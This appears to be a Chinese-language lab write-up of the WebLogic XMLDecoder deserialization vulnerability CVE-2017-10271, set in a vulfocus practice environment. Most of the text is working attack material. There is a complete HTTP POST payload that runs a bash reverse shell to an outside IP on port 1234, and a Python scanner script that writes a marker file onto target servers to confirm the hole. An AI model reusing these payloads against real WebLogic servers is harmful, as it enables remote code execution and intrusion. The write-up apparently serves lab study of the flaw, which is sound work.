漏洞描述
CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限
受影响版本
10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0
环境搭建
使用vulfoces搭建漏洞环境

漏洞利用
- 访问地址http://47.101.62.20:27036/ 页面长这样
 

2. 访问http://47.101.62.20:27036/wls-wsat/CoordinatorPortType11,存在下图则有可能存在漏洞

3. 构造POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
   | POST /wls-wsat/CoordinatorPortType11 HTTP/1.1 Host: 47.101.62.20:27036 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Upgrade-Insecure-Requests: 1 Content-Type: text/xml Content-Length: 756
  <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/47.101.62.20/1234 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
   | 
 

- 成功反弹shell,执行命令得到flag
 

poc验证脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
   | #!/usr/bin/env python # coding:utf-8   import requests from sys import argv   headers = { 	'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 	'Upgrade-Insecure-Requests': '1', 	'Content-Type': 'text/xml'     } def Webogic_XMLDecoder_poc(url): 	#url="http://47.101.62.20:27036" 	posturl=url+'/wls-wsat/CoordinatorPortType' 	data = ''' 	<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 		<soapenv:Header> 			<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 				<java version="1.6.0" class="java.beans.XMLDecoder"> 					<object class="java.io.PrintWriter">  						<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println"> 						<string>xmldecoder_vul_test</string></void><void method="close"/> 					</object> 				</java> 			</work:WorkContext> 		</soapenv:Header> 		<soapenv:Body/> 	</soapenv:Envelope>     ''' 	 	print url 	try: 		r=requests.post(posturl,data=data,headers=headers,timeout=5) 		geturl=url+"/wls-wsat/test.txt" 		#print geturl 		check_result = requests.get(geturl,headers=headers,timeout=5) 		if 'xmldecoder_vul_test' in check_result.text: 			print u"存在WebLogic WLS远程执行漏洞(CVE-2017-10271)" 	except: 		pass   if __name__ == '__main__': 	if len(argv) == 1: 		print "Please input python Webogic_XMLDecoder_poc.py http://xxxx:7001" 		exit(0) 	else: 		url = argv[1] 	Webogic_XMLDecoder_poc(url)
   |